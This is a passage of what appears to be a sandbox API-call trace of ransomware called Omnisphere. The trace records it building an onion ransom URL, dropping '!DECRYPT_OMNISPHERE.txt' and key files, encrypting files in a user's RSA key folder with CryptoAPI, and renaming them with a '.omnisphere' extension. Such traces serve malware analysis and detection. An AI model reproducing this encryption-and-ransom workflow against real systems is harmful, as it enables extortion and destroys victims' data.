0x1600000 [0102.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16867a8 [0102.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0102.078] GetProcessHeap () returned 0x1600000 [0102.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f3f0 [0102.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f3f0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0102.078] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0102.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.078] GetProcessHeap () returned 0x1600000 [0102.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f4f0 [0102.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f4f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0102.078] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0102.078] GetProcessHeap () returned 0x1600000 [0102.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x104) returned 0x1686cc8 [0102.078] PathCombineW (in: pszDest=0x1686cc8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0102.078] GetProcessHeap () returned 0x1600000 [0102.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167d398 [0102.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0102.079] WriteFile (in: hFile=0x288, lpBuffer=0x167d398*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x167d398*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0102.080] CloseHandle (hObject=0x288) returned 1 [0102.080] GetProcessHeap () returned 0x1600000 [0102.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16867a8 | out: hHeap=0x1600000) returned 1 [0102.081] GetProcessHeap () returned 0x1600000 [0102.081] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfa) returned 0x16867a8 [0102.081] PathCombineW (in: pszDest=0x16867a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0102.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0102.081] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0102.082] CloseHandle (hObject=0x288) returned 1 [0102.083] GetProcessHeap () returned 0x1600000 [0102.083] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16867a8 | out: hHeap=0x1600000) returned 1 [0102.083] GetProcessHeap () returned 0x1600000 [0102.083] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0102.083] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x78b163bf, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78b163bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78b163bf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0xd0, cFileName="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="EC679D~1")) returned 1 [0102.083] GetProcessHeap () returned 0x1600000 [0102.083] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x160) returned 0x16414e8 [0102.083] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" [0102.083] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0102.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0102.084] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=47) returned 1 [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.084] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] GetTickCount () returned 0x11599bc [0102.085] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668d68) returned 1 [0102.086] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0102.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0102.086] CryptDestroyKey (hKey=0x1639b28) returned 1 [0102.086] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0102.086] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f, lpName=0x0) returned 0x3c0 [0102.086] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f) returned 0x3430000 [0102.087] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668f88) returned 1 [0102.087] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0102.087] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0102.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0102.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0102.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0102.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0102.088] CryptDestroyKey (hKey=0x1639b28) returned 1 [0102.088] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0102.088] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x2f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0102.088] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0102.090] GetProcessHeap () returned 0x1600000 [0102.090] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x370) returned 0x16867a8 [0102.090] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere")) returned 1 [0102.092] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id" [0102.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0102.093] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0102.095] CloseHandle (hObject=0x3c4) returned 1 [0102.096] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0102.096] CloseHandle (hObject=0x3c0) returned 1 [0102.096] SetEndOfFile (hFile=0x288) returned 1 [0102.096] FlushFileBuffers (hFile=0x288) returned 1 [0102.100] CloseHandle (hObject=0x288) returned 1 [0102.100] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0102.100] GetProcessHeap () returned 0x1600000 [0102.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1686dd8 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0102.100] GetProcessHeap () returned 0x1600000 [0102.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f288 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0102.100] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.100] GetProcessHeap () returned 0x1600000 [0102.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1617128 [0102.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1617128, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0102.101] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0102.101] GetProcessHeap () returned 0x1600000 [0102.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x104) returned 0x1686b20 [0102.101] PathCombineW (in: pszDest=0x1686b20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0102.101] GetProcessHeap () returned 0x1600000 [0102.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16818f8 [0102.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0102.101] WriteFile (in: hFile=0x288, lpBuffer=0x16818f8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x16818f8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0102.101] CloseHandle (hObject=0x288) returned 1 [0102.101] GetProcessHeap () returned 0x1600000 [0102.102] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1686dd8 | out: hHeap=0x1600000) returned 1 [0102.102] GetProcessHeap () returned 0x1600000 [0102.102] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfa) returned 0x1686dd8 [0102.102] PathCombineW (in: pszDest=0x1686dd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0102.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0102.102] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0102.102] CloseHandle (hObject=0x288) returned 1 [0102.102] GetProcessHeap () returned 0x1600000 [0102.102] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1686dd8 | out: hHeap=0x1600000) returned 1 [0102.102] GetProcessHeap () returned 0x1600000 [0102.102] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0102.102] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x78b163bf, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78b163bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78b163bf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0xd0, cFileName="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="EC679D~1")) returned 0 [0102.103] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0102.103] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1df3b7e1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1df3b7e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1df3b7e1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1df3b7e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df1566d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1df1566d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1df3b7e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x7223c64d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7223c64d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x1deef405, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x551, dwReserved0=0x0, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere", cAlternateFileName="83AA4C~1.OMN")) returned 1 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1deef405, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1deef405, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1deef405, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id", cAlternateFileName="83AA4C~1.ID")) returned 1 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x78b163bf, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78b163bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1df3b7e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere", cAlternateFileName="EC679D~1.OMN")) returned 1 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df3b7e1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1df3b7e1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1df3b7e1, 